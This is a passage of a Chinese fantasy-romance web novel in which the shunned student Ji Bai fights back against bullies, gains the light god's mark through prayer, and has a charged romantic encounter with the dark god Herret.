“好恶心,快,离她远一点,不然我们也会染上她的罪孽。” “叛徒,罪人,黑暗的爪牙走狗,她怎么还能来上学,不该赶走她吗?” “真是恶心,就应该烧死她。” “小心,别靠近她,小心被她邪恶的黑魔法害了。” “我还怕她不成?哼,这样的黑暗走狗,我来一个杀一个。” 季白获得了神明的宽恕,可学院里的学生们并没有原谅他们。 由于连年的战火,他们中许多人的长辈都死在了黑暗冥殿的手上,因而他们各个都恨透了和黑暗势力有染的叛徒。 他们不能杀她,但会有无休无止的谩骂,欺辱,霸凌,冷落。 季白抱着湿漉漉的书包走进教室就看见属于自己的那张桌子上用显目的红笔写下了极尽恶毒的谩骂,就连她的板凳上也沾满了恶心的粘稠物质。 季白看了一眼,神色平静地去换板凳,背后却传来一道极其嚣张的声音。 “喂,贱人,谁给你的胆子拿我的板凳?” 86 第86章 季白抓着凳子的手微微一紧,转过头去就看见一位肤色苍白,小眼睛的黑发少年,如鹰钩般的鼻子两边生长着密密麻麻的小雀斑。 黑发少年见她转过身来,眼中闪过一缕惊艳,随后就是满满的恶意与鄙夷。 他一手掐着腰,一手指着季白的鼻子就要骂,然而嘴巴还没张开就被季白一板凳砸到了头上。 他顿时痛得“哎呦”一声,脚下一个踉跄就一头栽到了地上,季白两步上前把人踩在脚下,顺手抽出藏在腰间的短刃抵在他的脖子上,笑眯眯地说:“你知道吗?上一个这么骂我的人,他已经死了。” “季白!你疯了!”黑发少年的同伙吓到连话都说不利索了,“你知道他是谁吗?他可是公爵的长子,你若是伤他一根毫毛,你全家都得给他陪葬。” 季白冷嗤一声,并未搭理他们,要她全家陪葬,那也得找得到人。 冰冷锐利的刀锋就抵在他的咽喉,甚至他只要一个轻轻的呼吸,那匕首就能在他娇嫩的皮肤上留下一道血痕。 自幼娇生惯养的他哪经过这场面,顿时就吓傻了,颤巍巍地说:“你,你放过我,不然我父亲绝对不会放过你。” “他在不放过我之前,你就已经先死了。”季白的匕首微微用力,“告诉我,那板凳真的是你的吗,你今天带着这么多人来找我究竟想做什么?嗯?杀了我,还是羞辱我,殴打我?” 季白认得这帮人,当日在隐蔽处欺负泊里的人也是他们。 瞧他们这幅嚣张的样子平日里定然没少做这样的事。 “是……就是我的。”黑发少年道,随后他似是又找回了一点底气般,颤颤巍巍地说,“你拿了我的凳子,我说一句而已,你……” 黑发少年的话还没说完,就突然如同杀猪般地惨叫了一声。 原是季白一刀扎在了他的胳膊上。 “撒谎。”季白说。 周围的人见季白真敢动手,顿时吓得面如土色,若这位公爵之子真出了事,他们一个个都得不了好。 “你疯了!你知道你伤得是谁吗?待我们禀告神殿,定会将你处以死刑!” “别和她废话了!她就是个疯子,我们这么多人难道还不是一个疯子的对手吗?杀了她,保护少爷!” 众人话落就各持魔器对着季白发动魔法攻击,一时间如烟花般的魔法能量朝季白的方向飞驰而去。 季白只觉自己手中的匕首隐隐有快要脱落的危险,似乎有着某种神秘的力量在与她争夺匕首的控制权。 季白索性起身重重把匕首朝他们的方向掷了过去,随后快速取下别在腰间的魔杖,一抬手他们手中的魔杖统统掉落在地,再一抬手数道冰刺朝他们的面门飞了过去。 众人心下大骇,季白一个一年级新生竟有如此强大的实力。 普通的一年级新生十次魔法能有五次成功就算合格了,若能次次念完魔咒就成功施展就是非常优秀的学生了。 可季白……她简直是怪物。 竟然强大到连魔咒都不需要念就能随心施展魔法,这般可怕强悍的天赋与力量,是普通魔法师穷极一生都无法达到的高度。 眼看那道冰刺就要刺穿他们的身体,这时,却突然有一道木系盾牌拔地而起将他们护在了身后。 “艾莉丝殿下!”众人立时和见了救星一般,连滚带爬地跪倒在来人的脚边,控诉道,“艾莉丝殿下,这个疯子要杀了弗雷德少爷,他可是您的表弟啊,求您救救她。” 这是季白第二次见到艾莉丝。 她比上一次在试炼场地时还要明艳漂亮,阳光透过玻璃窗落在她蓬松卷曲的金发上显得越发耀眼夺目。 她是上次试炼的第二名,也是成功拿到预备圣女名额的人。 “你要帮他们?”季白握着魔杖冷声问。 艾莉丝挥手撤下由无数枝丫,藤蔓交织而成的盾牌,弯眸一笑,道:“我为什么要救一帮废物呢?” 艾莉丝看了一眼捂着伤口一脸狼狈的弗雷德,而后又对季白笑得明媚。 “我是来帮你的。” “你应该也不是真的想杀了他们,只是想拿他们立威免去后续的麻烦。” 季白漫不经心地转着手里的魔杖,道:“谁知道呢。” “他们都骂我是黑暗的走狗,是叛徒,是罪人,或许我就真如了他们的愿,解决完他们后转身就加入黑暗冥殿呢。” “反正这儿也容不下我。” “你不会的。”艾莉丝走到季白面前,压低声音说,“光明神说的隐藏在学院里最邪恶的存在指的应当是赫瑞特吧?” 季白的心尖颤了一下,抿唇不语。 光明神当时只在众人面前说那无比邪恶的存在逃了,但并没有说是谁。 不过自从预备圣女的冒险结束后,赫瑞特与泊里都没有回来,季白知晓他们的真实身份,当然明白他们都已经恢复真身离开了。 可在其他不明真相的人眼中,他们二人应当是在试炼中遇见了危险,还要甚者说是都被暗中潜入的黑暗势力杀害了。 季白没想到除她之外学院里还有另一个人能知道赫瑞特的身份。 难不成……她是赫瑞特的人? 季白还记得那一天她的搭档就是赫瑞特。 “你若想加入黑暗冥殿,当天你就走了。”艾莉丝侧眸看她,说,“做到这种程度已经足够了。我想,经过这一次,以后不会再有人敢骚扰你。” 季白对上艾莉丝意味不明的目光,轻笑了一声,道:“恭喜你,说服我了。” 季白转过身后看了眼刚刚被人搀扶着起来的弗雷德,弗雷德立时身子一抖,害怕地往别人身后钻去。 季白冲他灿然一笑,语气和善地说着威胁的话。 “以后不要让我再看见你哦。” 季白顺势捡起刚刚砸向弗雷德的椅子冲着弗雷德扬了扬,“不然我可不能确定下一次砸向你的是什么。” 季白说着又弯了弯眉眼。 “我胆子很小的,被吓到会很容易应激,一般手上有什么就砸什么,直到……砸死为止。” 椅子腿上还残留着弗雷德的血迹,季白简单地用手帕擦了擦椅子面上的灰尘,就端端正正地在桌子后坐下了。 若是刚刚进来的人看她这幅乖巧听话的模样,定会以为她是位品学兼优的好学生。 那些多话的同学们瞬间一个字也不敢说了,只是极为默契地离她更远了一点。 “表姐……”弗雷德弱弱地喊着艾莉丝,眼底还十分不甘,似是想让艾莉丝给他出头一样。 艾莉丝抬手扇了弗雷德一巴掌,道:“你若再继续惹事生非,我给舅舅亲自写信让他接你回去!” 弗雷德被这一巴掌打得没了脾气,垂着头不说话了。 艾莉丝环顾了一圈弗雷德的小弟们,余光又看了眼教室里的其余同学,意有所指地说:“光明神殿的丹尔道牧师说过神明已经宽恕了季白的无心之过,可你们却还要为难她,是要同伟大的光明神作对,与神殿作对吗?” 艾莉丝本身就是利亚王国的公主,如今又成了光明神殿的预备圣女,无论她最终能否成功当选圣女,她的前途都远非他们所能比。 “不敢……” 季白的指尖轻轻敲了敲桌面,她还真是来帮她的。 为什么呢? 季白有点不解,明明她们之间并不熟悉。 在云层之上的辉煌神宫中,面容俊美的神邸端坐在由日光与云朵编制而成的神座上。 他垂着头,那双如太阳般夺目的眼睛正静静看着脚下的云镜。 镜中倒映的正是季白的脸,刚刚在奥斯俐学院内所发生的一切他都了如指掌。 他如玫瑰花般的唇仍不住向上扬了扬,她的性子还真是一点也没变。 可随后,光明神的唇角又落了下去,金色的眼眸显得有几分黯淡,似是明媚灿烂的太阳被乌云遮住了。 泊里一直没有找到,可她……好像一点担忧之色都没有呢。 泊里在她的心中是不是……从来都不重要? 伟大的光明神这么想着,抬手又捏造出了一个死气沉沉的泊里将他扔下了云层。 经过那一天之后,季白的耳边清净了许多,不过她也被无形的孤立了起来,上课时谁也不愿和她组队,打饭时,众人的默默远离以及那些冰冷的,惧怕的,嫌恶的视线,就连学院的老师也会时不时阴阳怪气地讥讽她。 “涅塞斯老师。”季白跟着涅塞斯学习完今天的魔法后,故意低垂着头闷闷不乐地说,“现在教我的老师都不喜欢我,我可以专门跟着涅塞斯老师学习吗?” 季白说着又拽了拽涅塞斯的衣摆,眼神亮晶晶地看着涅塞斯说:“我肯定会是一位听话的学生,涅塞斯老师就收下我吧,好不好?” 涅塞斯垂眸看她,嘴角噙着一抹笑意,道:“唔,听话的学生好像很容易找到呢,我为什么一定要收你呢?” 季白连忙接道:“听话的学生是很容易找到,但像我这样听话且天赋不错还聪明的学生可不好找。涅塞斯老师,我保证,等我将来有了出息一定不会忘了您。” 季白话落又撒娇似得晃了晃涅塞斯的衣摆,“求你了,涅塞斯老师,现在只有你肯教我了。” 涅塞斯湛蓝色的眼眸中笑意更甚,但他还是故作为难,一脸苦恼地说:“可因为每天教你,其他老师都对我很有意见。” “昨天院长还找我谈话,说如果我不离你远点,继续教你这个危险的家伙就要开除我呢。” “如果我再收下你,恐怕你明天就在办公室里找不到涅塞斯老师了。” 涅塞斯说得可怜,可眼中的笑意却一点也未减。 季白一看就知道涅塞斯又在同她开玩笑了。 他一个海神难道还会怕一个院长的开除吗?混沌神都能随意决定一个人类的思想,以魅惑人类而闻名的海洋生物,恐怕也能轻松地改变一个人类的心意吧。 她假装真的信了涅塞斯的玩笑,满脸沮丧地松开了拽着涅塞斯衣摆的手,故意道:“这样啊,对不起,涅塞斯老师,是我给你添麻烦了。” “我……我以后不会再来找你学习魔法了。” 季白越说头越低,一幅遭受重大打击的可怜模样。 “十分感谢您这段时间对我的照顾,再见了。” 季白说着,垂着头就要走,可她的脚还没移动一步,就又被涅塞斯抓了回去。 他抬手敲了敲她的额头,挑眉道:“怎么在我面前就这么灰心丧气,当初在教室揍公爵之子的勇气去哪儿了?” 季白蓦地抬起头,瞪大了眼问:“涅塞斯老师怎么会知道?” 涅塞斯笑得温柔,“因为当时我就在门外啊。” “怎么说也教了你这么久,总不能真的看着你被人欺负吧?” “结果急忙忙地赶过去后才发现,原来某人并不需要我的帮助啊。” 季白想到自己那一天表现出来的残暴,就颇有几分窘迫,因为没有人会喜欢一个动辄就要杀人的疯子。 何况他还是传闻中性格温和的海神,想来也会觉得她……太残忍了吧。 这么想着季白心中竟生出了几分沮丧,以及一抹诡异地对赫瑞特的想念,大概也只有身为黑暗神的他会笑眯眯地说她干得不错,甚至还会颇有兴味地要再助她一臂之力。 或许赫瑞特没有说错,她天生就是属于黑暗的。 “怎么这幅沮丧的神色?”涅塞斯忽而低头凑近她,距离近到她能清楚地看清他根根分明的眼睫和感受到他清浅的呼吸。 这双湛蓝色的眼眸清晰地倒映着她的脸庞,清透到仿佛能看穿她心里的所有想法。 “你该不会是……在觉得抱歉吧?” 季白别过头去,别扭地说:“没有,我只是觉得涅塞斯老师可能会不喜欢……那样的我。” 涅塞斯轻笑了下,随后抬手揉了揉她的发顶,“说什么傻话,我很欣慰能看见懂得保护自己的你。” “如果你真的按照光明神的教义做一个伸出右脸给人家打的小傻蛋,我才会失望呢。” “况且……”涅塞斯笑*得双眼眯成了月牙,“我也知道你不是真的要杀他们,只是想要震慑他们罢了。” 季白低下头不语,悄悄握紧了垂在腿侧的手。 “涅塞斯老师。”季白抬眸看着他。 “嗯?” “你真的是一位很好的老师。” 涅塞斯愣了一下,唇角的笑意又向上扬了扬,眼中多了几分怀念,轻声道:“可能是因为老师也有一位很好的老师吧。” 季白眼中闪过一抹好奇,海神也会有老师吗? 谁又能做海神的老师呢? “你想做我的学生也不是不行,只不过……”涅塞斯顿了顿,说,“我恐怕很难继续在奥斯俐学院教你了。” 季白立即就明白了涅塞斯的意思,这是让她在奥斯俐学院与他之间做一个选择。 只不过他先前一直在奥斯俐学院教学,为什么突然要离开呢? 是因为泊里或者赫瑞特吗? 涅塞斯见季白迟迟不语,歪着头笑眯眯地问:“不说话是舍不得奥斯俐学院吗?” “当然不是。”季白连忙反驳,“我只是觉得这样做会拖累老师。” “老师没了这份工作真的没关系吗?”季白问。 “唔,好歹是做了很多年的工作,还是有点舍不得的。” 季白:…… 涅塞斯到底是什么意思啊。 “不过如果能收获一位宝贝学生,还是非常值得的。”涅塞斯伸手捏了捏她的脸颊,问,“你呢,你愿意为了做我的学生离开奥斯俐吗?” 季白重重点头。 “当然愿意。” 奥斯俐学院预备圣女的名额已经没有了,她继续待在这儿也没有意义,不如先跟着海神学习。 无论是为了任务还是强大自身都是一个最优的选择。 这几日她一直在想上一次的失败,不是她太蠢,而是她和赫瑞特等人的实力相差太大。 他们是神明,而她连厉害一点的魔法师都不是对手。 无论有多少智谋,在绝对的实力面前都是白搭。 “好,那就说定了。” 季白从涅塞斯这儿离开后,就准备前往学院食堂吃东西,在途经教学楼前的小广场时,看见那儿聚集了一圈又一圈的学生。 她本不打算理会,却听见了一个极其熟悉的名字。 泊里。 她顿时心头一震,泊里不是已经成为光明神离开了吗? 怎么还会回来,难道是为了她回来? 季白这么想着,眼中闪过一抹惊喜,看来光明神泊里并没有全然忘记她。 她回想起当日在沼泽下泊里那破碎飘摇的眼神与满身的血,至今都觉得心里闷闷地难受。 从泊里的视角来看,她简直是天下最坏的女人。 季白抬脚就朝人群中走去,围在一起的众人见她来了,立即后退一步,默默远离了她,好似她身上沾有什么会传染的病毒一样。 季白并不放在心上,反而还觉得怪省心的,不用她挤了。 结果她一进去就看见地上躺着一具破碎的,灰暗的,冰冷的尸体,那张唯一漂亮的脸蛋上遍布一个又一个血洞,如同一个被人抛弃的破碎布娃娃。 季白明明知道这是假的,明明知道真正的泊里已经返回云层之上的神宫做回了光明神,可她的目光在接触到他尸体的一瞬间时,心却还是撕裂般地疼了一下。 他的尸体实在是……太惨了。 让人不忍心再看第二遍。 季白耳中又传来众人的窃窃私语声。 “泊里是她的搭档吧?之前我看他们两人挺亲近的,没想到,泊里死了,她连眼泪都不掉一滴,真是冷血。” “要我说,泊里肯定是被她害死的!可怜了泊里,这一生都没有享受过一天的快乐。” “谁说不是呢,泊里虽然模样怪异,可他其实是一个好人,哎,愿神明赐福于他,接引他的灵魂前往天国。” 季白听到这儿,心神一动,忽而无比清楚地意识到这是泊里的试探。 试炼已经结束好多天了,一直没有找到泊里与赫瑞特的身影,为何偏偏这时找到了泊里的尸体? 他……在天上看着她? 他想做什么,想试探她的心中对泊里有几分真情? 转瞬之间,季白心中就有了决议。 如果只是按照常规的,无趣的方式对着泊里的尸体大哭,忏悔,那可就实在太无聊了。 既然泊里对她还残有留恋,那么她就要抓住这个机会把这抹留恋利用到最大化。 只要光明神泊里喜欢看中她,什么圣女,还不是他一句话的事吗? 她也不用费尽心思地想名额了。 季白这么想着,冷着脸就转身离开,绝情地好似地上躺着一个无关紧要的陌生人一样,不,就算是陌生人也会有几分震惊与惋惜。 她态度冷漠地像是地上躺着的是不值一提的野狗的尸体。 “喂,你就这么走了!” 季白背后传来一声怯弱却又坚定的声音,季白转过头看去就看见一位戴着黑框眼镜的圆脸女孩。 她看起来有些怯懦,甚至手都在抖,但还是瞪着她一字一句地质问:“泊里生前和你最要好,甚至为了你去参加危险的试炼,这才丢了命,他因你而死,你难道一点都不伤心吗,你还是人吗?泊里真是瞎了眼才会相信你这样的人。” 女孩骂得字字锥心,说到最后那点怯懦也没了,声音逐渐尖刻起来。 “你是他什么人?”季白反问,“泊里活着的时候从来不见你关心他,怎么人死了反而这么在意他了?” 季白话落目光又一一看向在场所有人,“你们每一个人有谁在泊里活着的时候关心他,或许你们没有欺负他,可你们的冷漠也是淹没他的其中一粒尘埃。” 季白说到这儿嘴角扬起一抹轻蔑又讥讽的笑,“如果你们中有谁能真的关心关心他,他也不至于被我的三言两语就骗得没了性命,现在你们又装什么好人?” “承认吧,你们不过是见人死了,想减轻一点良心的不安。” 季白说到这儿,毫不留情地就转身离开了。 她嘴角噙着一抹浅浅的笑,远在云层之上,神宫里的光明神一定很生气吧? 一定气到恨不能杀了她吧? 她不怕被神明嫉恨,只怕被神明淡忘。 夜幕降临时,季白蹑手蹑脚地从宿舍楼里走了出来,抬脚往学院里对光明神祷告的礼堂而去。 87 第87章 清冷的月辉透过印着彩绘的玻璃洒落至寂静无人的礼堂,季白披着连帽的白袍推开厚重的木门发出令人胆颤的“吱呀”声。 白日里圣洁祥和的礼堂在夜里却显得清幽而……阴森。 季白穿过一排排有如墓碑的黑色木椅,随后无比虔诚地跪倒在光明神像的脚边。 她珍而重之地从怀里取出一朵纯白的鸢尾花放在光明神的脚下,随后她仰起一张白皙秀美的脸,乌黑的眼眸中闪烁着星星点点的泪光。 这样破碎神伤的模样任是神明也无法拒绝。 “伟大仁慈的光明神啊,我的主宰,我的神灵,请您听一听我这有罪之人的祷告。” “我是不洁的罪人,可我最好的朋友泊里却是您最忠诚的信徒,他一生苦难坎坷,饱受欺凌,可他却有一颗如您一般宽宏仁慈的心,他这样美好的人不该凄惨地死于恶魔之手。” “伟大仁慈的光明神啊,我请求您降下奇迹,赐予泊里新生。” 季白闭着眼一遍又一遍地为泊里祷告着,头顶的光明神像一动不动地注视着脚下虔诚而悲苦的信徒。 他如同一座沉默的大山,高高在上地注视着在他脚边生老病死的人类而从不给予回应。 漆黑安静的礼堂内唯有季白不厌其烦的祷告声,她的声音从开始的清脆而变得沙哑,可窗外的晚风与夜莺依旧还如同她来时那般呼啸着,啼鸣着。 忽而,一切都变得静止。 遥远的,如隔云端,咫尺的,如在眼前的声音在寂静的礼堂中蓦然响起。 “你,拿什么换呢?” 季白心头一震,她是想用这样的方式吸引光明神的好奇与在意,可她没想到,光明神竟然在她祷告的第一晚就出现了。 她以为他至少会多等两天看看她的诚意。 一声低沉的嗤笑在她耳边炸开,随后他意味不明的沙哑声音一字一句地挤了出来。 “怎么,不舍得?” 季白连忙道:“并不是,我……我只是太意外,太兴奋了,没想到神明真的会听见我的祷告。” “我愿意用我所有的一切包括我的生命来换取泊里的新生。” 季白话落后听光明神久久不语,悄悄睁开眼想看一眼他的神情,结果却被一道柔和且圣洁的神秘力量压下了她的头。 凡人不可直视神颜,可季白还是在那匆匆一瞥中看清了他。 光明神翘着脚坐在他的神像上,金色的鞋底不染纤尘,使他俊美无铸的容颜看起来威不可侵,只是……季白好似看见他包裹着金色瞳孔的眼眶有些微微的泛红。 是……错觉吗? 还是他哭过? 第二个想法刚一冒出来就被季白飞快地否决了。 他高不可攀的样子怎么看也不像是会掉眼泪的人。 “吾答应你。”光明神的声音再一次响起,“会允他一个光明灿烂的新生。” “作为代价……” 季白察觉到一团温暖的热源向她靠近,低眸一看就瞧见一朵圣洁的白色鸢尾花飘至她的胸口,随后融进了她的血肉中,只觉一抹暖流顺着胸口流遍四肢百骸,最后在她的额头凝结出一朵纯白的鸢尾花印迹。 “你的身体与你的灵魂都将属于吾。” 季白还来不及细想光明神刚刚在她身上做了什么,就连忙虔诚地说:“伟大的光明神啊,我早已将我的心与灵魂交到你的手上了。” 她话落后,许久都没有再听见光明神的回应,窗外的风声与夜莺的啼鸣再次响起,世界好似又开始了重新运转。 季白抬起头去就看见原本坐在神像上的神明早已不知所踪,偌大的教堂里依旧清幽死寂,好似刚刚所发生的一切都只是季白的幻觉。 季白又跪了一会,方缓缓从地上起来往回走去,当她经过礼堂外的镜子时,突然停住了脚步。 镜子里的她还是她,可周身却笼罩着一股莫名其妙与光明神如出一辙的神圣气息,最重要的是……她的额头上还多了一朵白色的鸢尾花。 这到底是什么,某种标记吗? 季白回想起在上一个副本中因为李承仙的情契而惹出的大麻烦,就恨不能现在就赶紧祛掉。 可她又不确定光明神是不是还在看着她,因而也不敢轻举妄动,只是看了一眼后就转身离开。 【系统,我额头上的是什么?】 【有办法祛掉吗?】 系统还没回答她的话,季白就先看见了亮起的任务面板。 关于光明神的任务线已经全部解锁,她看见后半部分的任务是——「获得光明神的神器永恒之冠。」 季白顿时松了一口气,这次的任务比前二次副本的任务可简单多了。 至少她需要获得的任务道具是一件具体的东西,而不是非常抽象玄幻的先天一气,而且这样东西也已经指名道姓地点出来了。 季白摸了摸自己额头上的鸢尾花,难道这东西就是她任务中的神眷? 但无论它是什么,季白还是想要快点把它祛掉,不然以她的经验,有非常大的几率会刺激到其他几位男主。 季白关掉面板后,突然意识到系统还没有回答她的问题。 她微微皱了皱眉,唤道。 【系统,你在吗?】 【我在,不能祛掉。】 系统的话是前所未有的简洁明了。 季白忽而意识到一个问题,自从她进入这个副本后,系统出现的次数就格外的少,就连任务的完成与发布也变成了可以视化的面板。 她并不觉得这只是一次简单的系统升级,而且在这个副本中晚上也不会再出现前两个副本中的诡异怪物。 就好像……系统和那些诡异怪物们,在害怕着什么一样。 在学院寂静偏僻的一角,季白挥舞着魔杖练习高阶的水系魔法,以她脚下为轴心的方圆百米在顷刻间沦为一片波涛汹涌的汪洋,飞速旋转的漩涡越转越大,越转越快,似乎是要吞没撕碎地面上的一切生物。 漩涡缓缓停下,波涛汹涌的汪洋也逐渐褪去变为土地原本的模样,季白朝着涅塞斯挥了挥手里的魔杖,笑眯眯地问:“涅塞斯老师,我的这招海之涡还行吗?” 涅塞斯温笑着点头,“很棒。” “我找不出任何缺点。” 季白听了涅塞斯的夸赞,脸上笑意越深,快步走到涅塞斯面前,道:“都是老师教得好。” 她今天原本还在纠结要不要来找涅塞斯学习魔法,她担心额头上光明神的印迹会刺激到他。 毕竟按她以前的经验,哪怕是卫云台那样的人物在看见她身上属于他人的印迹时都会失控,何况是……能够自由行动的涅塞斯。 涅塞斯目前看上去虽然十分亲和,但季白也知道能被系统选为男主的角色绝对不会是他表现出来的那般温和无害。 季白左思右想后决定还是来了,出门前还刻意剪了刘海遮住额前的白色鸢尾花。 不过在练习魔法的过程中,她的刘海早已被风吹起过了。 当时她还紧张地看了眼涅塞斯生怕涅塞斯质问她,但他也只是冲她露出了一抹与平时无异的温和笑容,好似完全没有看见一样。 涅塞斯唇角向上扬起,随后又故作苦恼地说:“不过明天我就不是你的老师了。” “怎么了?” 季白心中咯噔一下,涅塞斯该不会是因为发现她和光明神有染就不教她了吧? 那她还如何完成海神的任务啊。 “今天院长又找过我了。”涅塞斯无奈地两手一摊,道,“他看见我还在教你,就言辞激烈地请我离开这所学校,还污蔑我也是黑暗势力的人,看院长的样子,如果我再不走的话,或许……他明天就要举报给光明神殿将我绳之以法了吧。” 季白听到这儿松了一口气,原来不是不肯教她,而是想带她离开这儿。 如今季白已经完成了光明神的前半段任务继续留在奥斯俐也没有意义,何况……她后半段的任务是要去神宫偷取永恒之冠,一听就是一件厉害的神器,没有足够的实力可是不行的。 “所以……”涅塞斯眼眸温和地笑了笑,问:“你愿意和我一起离开这儿吗?我的……乖学生?” “我当然愿意。”季白重重点头,“整座学院只有涅塞斯老师认真教我。” “涅塞斯老师去哪,我就去哪。” 季白笑眯眯地许下承诺。 涅塞斯唇角的笑意越发温和,动作轻柔地揉了揉她的发顶,道:“好,明天早上我在学院门口等你。” 季白告别涅塞斯后就准备去找查奥斯,关于混沌神查奥斯的任务直到现在也没有刷出来。 如果用游戏来比喻,查奥斯现在就像是游戏里未知的彩蛋,但谁也不知道这到底是惊喜还是惊吓。 涅塞斯站在原地看着季白逐渐消失的背影,脸上温和的笑意蓦地全部消散,像是营业时间结束的招待小姐。 他垂下眼帘,低声呢喃着:“鸷鸟将击,卑飞敛翼;猛兽将搏,弭耳俯伏。我的好老师,这还是你当初教我的,我一直都记得。” 她刚走出树丛,往教学楼的方向去,就顿感四周的空气变得无比阴冷,随后季白就似是被一个人拉入了怀中,咬牙切齿的声音从季白耳边传来。 “你身上为什么会有他的气息,你和他到底做了什么?” 【作者有话说】 鸷鸟将击,卑飞敛翼;猛兽将搏,弭耳俯伏——出自《六韬文韬》 88 第88章 滚烫的指腹划过她的额头,在她的肌肤上留下一道炙热的余温,紧接着一阵清浅的风吹过她毫无遮拦的额头。 明明季白的眼前什么也没有,但季白却好似看见了赫瑞特那张气急败坏的脸与失控扭曲的绿眸。 那道无法看见但仍不容忽视的目光死死盯着她的额头,季白只觉自己在这样炙热逼迫的目光下快要不能呼吸了。 空气是阴冷极寒的,可他的怀抱又滚烫到如同岩浆。 “该死的,你骗我?嗯?”他的手指重重抵在她的额头,似是想要把她额间的鸢尾花剜掉一般,“说什么身与心都属于伟大的黑暗神,结果身上却留下了他的刻印,季白,你很好,你真行,你耍我两遍?” “你拿我当什么?”季白的耳边又传来一声嗤笑,炙热的大手突然重重掐住她的脖颈,力度大到使她快要背过气去,他无比阴刻地问,“是不是我对你太过纵容,让你忘了我是一只吃人的恶魔?” 季白没有求饶而是气鼓鼓地瞪着虚空中的他,这样的表情让赫瑞特越发恼怒,以为她已经全然投入泊里的怀抱如同那些讨人厌的光明信徒一样厌憎痛恨黑暗。 “啪。” 一道清脆的巴掌声突兀地响起,赫瑞特冷白的脸上顿时就多出了一个鲜红的巴掌印,惊到极致,不可置信到极致的赫瑞特蓦地松开了掐着季白的手。 她……竟敢打他? 她怎么敢打他? 她凭什么打他! 如果季白此时此刻能看见赫瑞特脸上震惊,迷茫,愤怒而又扭曲的神情的话,一定会忍不住笑出声。 然而她什么也没看见,只能感受到赫瑞特松开了紧掐着她的脖子。 赫瑞特还没来得及发难,季白的第二个巴掌又“啪”的一声打到他的脸上。 在季白将要打出第三个巴掌时,赫瑞特总算反应过来,牢牢地钳住了她的手。 “你打我?” 缓慢而低沉的语调似是压着无法遏制的怒火。 季白非但不怕,反而还冷笑一声,指责道:“没错,你以为我愿意被光明神刻印吗?全都是你害得,遇上你这种猪队友,我真是倒了八辈子霉,你知不知道,就因为你莫名其妙地出现在试炼场,不仅毁了我所有的计划,还差点害死我。” “你到底是帮我还是害我?还是你其实是光明神殿派去潜伏在黑暗冥殿的卧底?” 赫瑞特:…… 他是卧底? 嗯? 黑暗冥殿的神原来是光明神殿的卧底? 季白说到这儿又用一种非常鄙夷的神色说: “要么你就是蠢!难怪黑暗冥殿这么多年发展不过光明神殿,光明神殿的人虚伪残忍,那你们黑暗冥殿里的人是不是都像你一样蠢啊?” “要我看,黑暗神的恶魔都这幅蠢相,估计黑暗神本尊也差光明神十万八千里吧。” 季白的这句话无比精准地戳到了赫瑞特的痛点。 赫瑞特冷笑一声,忽而掐住她的下巴,绿眸沉得发黑,“所以见了一次光明神,就投入他的怀抱了?” “你不要忘了,是我把你从火场中救出来,没有我你早就被他们烧死了。” “我能救你,当然也能毁了你。” “那你现在就吃了我好了。”季白飞速回道,“反正身上沾了那让人作呕的东西,我也恶心到一刻也不想活了。” 赫瑞特的身形忽而在她面前显现,他的脸上依旧戴着一个银质面具,身上的衣服却换得比上次还要华丽,仿佛下一秒就能去参加晚宴了。 那双绿眸沉沉地盯着她,殷红的嘴角勾出一抹意味不明的笑,“这么说你还是被迫的了?” “来,让我猜猜。”他这张哪怕遮住了半张脸也依旧秾艳逼人的脸压到季白的眼前,质地冰冷的银面贴在她的鼻尖,给人一种极强的压迫感,“这番话你是不是也对光明神说过,在他面前痛哭流涕地说你是被迫的,说你也不知发生了什么,说是我引诱的你,还斩钉截铁地说下次再也不会被恶魔蛊惑?” 滚烫的指腹磨过她的唇激起阵阵酥麻的电流感,随后又抚上她动人的眼睛,“你是不是也用这样的神情看过他,是不是也同他这般亲密过,不,或者你们做了更亲密的事。” 赫瑞特说话时张张合合的唇时不时会扫过季白的唇,似是无意又似有心。 这种朦朦胧胧的撩拨很快就勾起了季白心中不该有的欲念,她的呼吸逐渐变得急促,眼中也蒙上了一层雾气,唇不自知地朝他微张的嘴唇上靠去。 这种身体的本能反应显然极大地取悦了赫瑞特,他眯了眯眼,随后掐着季白的脖子就吻了上去,但不是深吻,只是一个浅尝即止的吻。 在她最投入,最情动的时候忽地戛然而止。 季白喘息着望着面前的青年,他似乎毫不受影响,只是本就潋滟的红唇多了一层莹润的水光,使他看起来越发秀色可餐。 怪不得他是黑暗神,只是露出半张脸就这般勾魂,若是露出完整的一张脸不知会多么惊心动魄。 他的食指与中指勾着她的下巴,拇指指腹一点点擦去她嘴上的水渍,声音玩味又低沉,好似是吞了春药一般。 “他也这样吻你了吗,他吻你时你也这样情动吗,我和他你更喜欢谁?” 他的指腹烫得吓人,一点点磨过她的唇时有一种难以形容的感受,钓得她的心不上不下,她甚至能感受到他指腹上那细小的纹路。 赫瑞特轻而易举地看穿了季白心中的欲望,绿色的眼眸含着浅淡的笑意,“嗯?还想让我吻你,可你身上的气味……” 他蓦地沉下了声音,“实在让我讨厌得很!” 他的手指用力掐着她的下巴,阴幽的目光似是在审视着该如何吃掉她这块肉。 季白眼睫轻颤了下,随后低头轻轻吻了下抵在她唇边的虎口,一个柔软且湿润的吻,毫无伤害力却让赫瑞特青幽的瞳孔骤然一缩,就连呼吸都停了一拍。 “没有,他没有吻我,光明神怎么会想吻我呢?” 赫瑞特定定凝望着她,绿色的眼眸沉得如墨一般,眼底翻涌着另一种程度的危险。 不,他想吻你,想吻你想得都快要疯了。 而他,也快要疯了。 赫瑞特的身后蓦地长出一对足以遮天蔽日的黑色羽翅,下一瞬季白只觉眼前一黑就发现她已被赫瑞特的翅膀包裹起来了。 那双不容忽视的手掌贴在她的后腰缓缓向下移动着,随后突然其来地悬空感让季白忍不住抱紧了赫瑞特的腰身。 他是带着她飞起来了? 季白还来不及反应,赫瑞特的手掌就托起她的屁股让她跨坐在自己身上,不由分说地重重吻了上去。 明明是季白在上的姿势,可掌握主导的却是赫瑞特,滚烫的指腹在她的肌肤上留下一串串炙热的火焰。 季白失神地仰着头,手掌插入他蜷曲的发丝紧紧抱着他的头。 当那炙热滚烫的唇贴上时,季白忍不住发出一声闷哼。 “别,不要那样。” 他找的地方太精准,技巧又太高超。 季白好似整个人都快要被他融化了一样,身子抖得不成样子,若非有赫瑞特的一只手支撑着她,她早就从他的身上翻下去了。 赫瑞特抬起头看她,绯红的唇色越发潋滟,银质的面具上聚着一层水汽。 “不要哪样?”他殷红的唇角拉扯出一抹蛊惑人心的笑意,手指微动的按压着,随后就心满意足地感受到季白同样汹涌的爱意。 “刚刚是你还想让我吻你的,不是吗?” “可……可也没有让你吻那里。”季白断断续续地说。 